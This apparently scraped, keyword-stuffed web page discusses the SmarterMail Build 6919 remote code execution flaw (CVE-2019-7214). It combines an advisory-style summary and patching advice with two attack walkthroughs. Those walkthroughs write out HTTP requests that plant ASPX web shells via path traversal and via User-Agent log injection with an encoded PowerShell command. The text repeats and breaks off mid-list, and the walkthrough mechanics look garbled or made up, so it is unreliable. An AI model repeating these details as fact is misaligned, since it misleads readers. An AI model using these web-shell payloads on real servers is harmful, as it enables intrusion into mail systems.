The SmarterMail Build 6919 exploit refers to a critical vulnerability in SmarterTools SmarterMail (Version 16.x builds prior to 6985) that allows for unauthenticated Remote Code Execution (RCE) . This flaw stems from the insecure deserialization of untrusted data through specific .NET remoting endpoints . Technical Breakdown The vulnerability is formally tracked as CVE-2019-7214 .
Vulnerable Component: The application exposes three .NET remoting endpoints—/Servers, /Mail, and /Spool—on TCP port 17001 .
Root Cause: These endpoints do not properly validate or sanitize serialized .NET commands sent via TCP socket connections .
Exploitation Mechanism: An attacker can send a specially crafted serialized object to these endpoints . When the server attempts to deserialize this data, it executes arbitrary commands embedded within the object .
Privilege Level: Because the SmarterMail service typically runs with high permissions, successful exploitation results in full administrative control under the NT AUTHORITY\SYSTEM account . Exploitation and Testing
A public module for this exploit is available in the Metasploit Framework .
Target Verification: Vulnerable systems typically have port 17001 accessible remotely .
Module Usage: The exploit/windows/http/smartermail_rce module targets these endpoints to achieve a shell .
Environment: Testing has confirmed the exploit works on Build 6919 and Build 6970, as documented in the Metasploit GitHub repository . Remediation and Mitigation SmarterTools addressed this vulnerability in Build 6985 .
Primary Fix: Update to SmarterMail Build 6985 or later. This patch disables remote access to port 17001 by default, restricting it to 127.0.0.1 (localhost) . smartermail 6919 exploit
Secondary Mitigation: If immediate patching is not possible, administrators should use a firewall to block all external traffic to TCP port 17001 .
Security Hardening: Implement Request Filtering in IIS to deny sequences like /App_Data/*.aspx or /FileStorage/*.aspx to prevent related directory traversal and file upload attacks . Historical Context
This specific exploit class has seen a resurgence in relevance due to recent high-profile breaches. In early 2026, SmarterTools itself was breached after an outdated, unpatched VM running SmarterMail was compromised, highlighting the long-term risk of leaving legacy builds like 6919 exposed . smartermail_rce.md - GitHub
Imagine a typical SmarterMail server humming along, processing thousands of legitimate email logins. An attacker scans the internet for exposed SmarterMail login portals (usually on port 80, 443, or 9998 for the admin interface).
Using a simple tool like curl or a Python script, the attacker sends a request that looks something like this (simplified for clarity):
POST /interface/Download.aspx?file=../../../Windows/Temp/shell.aspx HTTP/1.1 Host: targetmailserver.com Content-Type: application/x-www-form-urlencoded
data=<% System.Diagnostics.Process.Start("cmd.exe"); %>
This request attempts to navigate up three directories (../../../) from the web root into the Windows temporary folder and write a file called shell.aspx. Because the server fails to validate the path, it complies. The attacker then visits https://targetmailserver.com/Temp/shell.aspx and now has a command prompt on the mail server itself.
Once inside, the attacker can:
The SmarterMail build 6919 exploit, identified as CVE-2019-7214 , is a critical vulnerability that allows for unauthenticated Remote Code Execution (RCE)
. This security flaw stems from the application's failure to properly validate data before deserializing it, which can grant an attacker full administrative control over the target server. Exploit Overview Vulnerability Type: Deserialization of Untrusted Data. Target Port: The exploit targets TCP port 17001 , which SmarterMail uses for .NET remoting endpoints like
Attackers can send maliciously crafted serialized commands to these endpoints. If successful, the server executes these commands under the NT AUTHORITY\SYSTEM account, the highest privilege level on Windows. Affected Versions: Build 6919 and other versions prior to Build 6985. How the Exploit Works
On vulnerable systems, the .NET remoting port (17001) is often exposed to the public internet by default. Reconnaissance:
Attackers scan for SmarterMail servers with port 17001 open. Payload Delivery:
An unauthenticated user sends a serialized .NET command through a TCP socket connection to one of the remoting endpoints. Code Execution:
The server deserializes the data, inadvertently executing the attacker's code and granting them a remote shell or the ability to deploy malware. Remediation and Defense This issue was addressed in Build 6985
. In this update, SmarterTools restricted port 17001 so it is no longer accessible remotely by default. Privilege Escalation Risk:
Even after patching, the port may still be accessible locally. This means if an attacker compromises a low-privileged user account, they could still use this vector for privilege escalation Recommendations: Immediately update to at least SmarterMail Build 7040 or the latest version. The SmarterMail Build 6919 exploit refers to a
Verify that port 17001 is blocked at the firewall level for all external traffic.
Audit server logs for unusual activity, as this vulnerability is known to have been exploited in the wild.
For detailed technical analysis and reproduction steps, resources like Rapid7's Metasploit documentation Exploit-DB provide proof-of-concept information. SmarterMail Build 6985 - Remote Code Execution - Exploit-DB 9 Dec 2020 —
The attacker doesn't need a login. Here is how the request looks under the hood:
Step 1: The Probe
The attacker sends a GET request to a vulnerable endpoint:
/services/Download.aspx?filename=../../../../ProgramData/SmarterTools/SmarterMail/Logs/Debug_log_20221231.txt
Step 2: The Log Injection
Because SmarterMail logs everything (including malformed requests), the attacker injects a C# web shell into the User-Agent header:
GET /nonexistent.aspx HTTP/1.1
Host: target.mailserver.com
User-Agent: <%@ Page Language="C#" %> <% System.Diagnostics.Process.Start("cmd.exe", "/c powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0..."); %>
Step 3: The Double Inclusion
The attacker then requests the log file as if it were an ASPX file. Because SmarterMail runs on IIS, the server sees the .txt extension and doesn't execute it. However, the exploit bypasses this by using a null-byte injection or a URI misconfiguration (depending on the IIS version) to force the .txt to be processed by the ASP.NET ISAPI filter.
Step 4: Shell Time The server compiles the injected C# code on the fly, and the attacker has a SYSTEM-level shell on the mail server.